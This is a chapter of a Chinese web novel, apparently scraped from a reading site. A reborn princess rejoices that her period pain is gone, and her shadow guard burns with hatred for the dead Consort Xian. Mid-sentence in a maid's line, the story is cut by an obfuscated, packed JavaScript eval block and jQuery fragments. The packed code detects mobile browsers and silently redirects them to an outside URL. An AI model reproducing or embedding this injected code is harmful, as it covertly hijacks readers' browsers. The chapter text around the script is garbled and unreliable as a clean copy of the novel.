49. 砚辞想把贤妃拖出来鞭尸
作品:《重生恶毒公主后搞民生赢麻了》 待帐帘被轻轻拢好,周遭彻底归于寂静,姜悦璃立刻掀开眼睫,原本低落慵懒的神情一扫而空,眼底亮晶晶的,满是藏不住的窃喜。
她猛地往软褥里缩了缩,抱着温热的锦毯无声偷笑,心里把这笔账算得明明白白。
原主自初潮后月月痛经,疼得死去活来。
她重生后仅经历过一次,那股小腹坠痛、浑身发冷的滋味,简直比挨一刀还难受,刻骨铭心到一想起来就头皮发麻。
如今倒好,寒心草毁了根基,却也彻底掐断了痛经的根源,往后再也不用受那份活罪,简直是血赚不亏!
至于什么身子虚寒、气血不足,在摆脱痛经这件天大的好事面前,简直不值一提。
她美滋滋地翻了个身,脑海里却冷不丁闪过一道挺拔的玄色身影,嘴角的笑意微微一顿,随即又多了几分小小的可惜。
说起来,上次痛经痛得直冒冷汗时,她硬拉砚辞用内里给她暖肚子,力道精准又温和,比什么止痛药、暖宫贴都管用。
那可是暗卫版专属暖宫贴+强效止痛药,全天下独一份,旁人求都求不来。
现在痛经没了,砚辞这个专属暖宫贴+强效止痛药,自然也没了用武之地。
姜悦璃抿了抿唇,心里偷偷叹了口气,一半欢喜一半可惜。
不用遭罪固然是好,可白白少了个名正言顺接近顶级暗卫的机会,总觉得……好像又亏了点什么。
她抱着锦毯蹭了蹭枕头,把那点小小的遗憾抛到脑后,反正横竖都是赚,先舒舒服服睡一觉再说。
帐檐下风静,阴沉沉的天光漫落,不见半缕晴阳,两名玄色暗卫的身影半沉在檐下阴影里,寂然不动。
帐内姜悦璃的呼吸早已轻缓如眠,砚辞却依旧立在原地,垂在身侧的手,指节一点点泛白。
旧寒深植胞宫……根基受损……
太医那几句轻飘飘的话,在他耳中字字如刀。
殿下嘴上说的风轻云淡,毫不在意,可他每次听到都像钝刀子在身上割。
砚辞闭了闭眼,再睁开时,眸底已是一片淬了冰的寒。
死了。
死了也可以再拖出来。
帐檐下的空气像是忽然被冻住了。
凌七原本还百无聊赖地站着,脑子里乱七八糟想着下次殿下会不会还叫他们去“挖沟”。
下一秒,一股刺骨的寒意直直扎进后背。
他猛地一僵。
是砚辞。
平日里这位好搭档气息沉得像一潭深冰,内敛、克制,从不会外泄半分戾气。
可此刻,那股压抑到极致的杀意,毫不掩饰地漫了出来,冷得人骨头缝都发疼。
凌七连大气都不敢喘,平平无奇的脸上第一次露出明显的惊色,悄悄侧头瞥了一眼身旁的人。
那双一贯深不见底的眼,此刻寒得吓人,唇线绷得死紧,周身的气压低得让人窒息。
凌七心脏突突直跳,下意识攥紧了袖中短刃,却不是防备敌人,而是被身边这人的杀气震得手足无措。
他跟砚辞搭档这么多年,执行过九死一生的任务,面对过围杀,经历过险局,却从没见过砚辞露出这样的情绪。
那是一种——恨不得把人从坟里拖出来,碎尸万段都难解恨的杀意。
“砚、砚辞……”凌七声音都轻得发颤,生怕惊扰了什么,“你、你这气息……”
再这么放下去,半个行辕的人都要被惊动了。
砚辞却恍若未闻,垂在身侧的手微微蜷起,指节泛青,喉间滚出极低、极冷的一句,字字带冰:
“她欠殿下的,死,也偿不完。”
凌七一怔,一时没反应过来,后知后觉才惊觉,砚辞口中的“她”,竟是贤妃。
他心头猛地一咯噔。
当初贤妃暴毙,宫里对外只说是急病,其中疑点重重,却无人敢查。
此刻感受着砚辞这滔天的恨意,凌七忽然一个念头窜上来,吓得他连忙压下去——
贤妃的死,该不会……
他不敢再想,只默默往后退了小半步,低头噤声。
不管贤妃是怎么死的,就冲砚辞现在这股杀意,他也敢确定——
那人死得一点都不冤。
帐外的动静纷扰,姜悦璃一概不知,只沉在安稳的睡意里。
这一觉她睡得格外沉甜,连日赶路奔波、河堤上折腾的疲惫,仿佛都被柔软的锦褥尽数揉碎驱散。
没有痛经缠身的隐痛,没有心事烦扰,她蜷在暖烘烘的被窝里,呼吸轻缓绵长,连梦都是轻松的。
再睁眼时,帐外的雨早已停了,斜阳穿透云层,暖光透过营帐小窗漫进来,洒下一片柔和的光晕。
姜悦璃慢悠悠伸了个懒腰,浑身筋骨都透着舒坦,连日来的乏累一扫而空,整个人清爽得像是泡过温泉一般。
她撑着软枕坐起身,月白寝衣滑落在肩头,眼底还带着刚睡醒的朦胧水光,却半点没有往日起身时的滞涩疲惫。
她抬手揉了揉脸颊,嘴角不自觉地往上弯——果然,没有痛经的日子,连睡觉都格外香甜。
正惬意间,帐外传来青禾极轻的掀帘声,小心翼翼,生怕惊扰了她。
“殿下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285085|197652||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,您醒了吗?奴婢炖了温养的蜜枣银耳羹,您要不要用些?”
姜悦璃清了清嗓子,声音带着刚醒的慵懒软糯,听着心情极好:“进来吧。”
青禾轻手轻脚掀开帐帘而入,见公主气色红润、眉眼舒展,丝毫没有因旧疾而萎靡的模样,悬着的心终于彻底放下,脸上也漾开了笑意。
她将盛在白瓷碗里的蜜枣银耳羹轻轻放在榻边小几上,甜香混着温润的气息漫开,羹汤熬得绵密软烂,一看就是用心炖了许久。
她上前细心替姜悦璃拢了拢滑落的寝衣,语气里满是轻快:“殿下睡得可还好?奴婢瞧着您气色比昨日好上太多,看来好好歇息最是养人。”
姜悦璃伸手拿起小银勺,舀了一勺温热的羹汤送入口中,甜而不腻的暖意顺着喉咙滑进胃里,浑身都跟着舒坦。
她眯着眼笑,语气轻快又满足:“睡得极好,连日的累都散了,还是咱们青禾最会伺候人。”
被公主一夸,青禾脸颊微微泛红,又想起太医的嘱咐,连忙轻声叮嘱:“殿下,这羹汤里奴婢加了温养的食材,您多吃些,往后可不能再往泥水里跑、吹冷风了,您身子底子弱,得仔细养着才是。”
姜悦璃连连点头应下,心里却偷偷乐着——养不养的无所谓,只要不痛经,怎么着都行。
两人在帐内轻声说话,声音透过帐帘缝隙飘到帐外,一直守在原地的砚辞听得清清楚楚。
他垂在身侧的手彻底放松下来,原本紧绷的肩线舒展,玄色衣袍被斜阳镀上一层浅金,冷锐的眉眼也柔和了几分。
看得一旁的凌七暗暗咋舌。
凌七压下心里的好奇,悄悄往帐柱边靠了靠,继续尽职尽责地值守。
只是脑子里还忍不住琢磨着贤妃的事,越想越觉得,自家这位看似沉默寡言的搭档,实在是深不可测。
帐内,姜悦璃喝完了一整碗银耳羹,浑身舒畅,索性掀了锦被起身。
青禾连忙上前伺候她换上一身浅粉绣折枝玉兰花的常服,又细心梳了个轻巧的发髻,簪上一颗圆润的东珠,衬得她眉眼娇俏,气色明艳。
姜悦璃走到窗边,伸手推开半扇窗,微凉的晚风拂过脸颊,带着郊外清新的草木气息。
她抬眼望去,一眼便看见帐外不远处立着的两道玄色身影。
目光落在砚辞身上时,她心头微微一动,想起那个被“闲置”的暗卫版暖宫贴,嘴角悄悄勾起一抹狡黠的笑。
不用痛经是好事,可想接近他,难道还非得找痛经的理由不成?
她有的是法子,让这位顶级暗卫,时时刻刻都有用武之地。

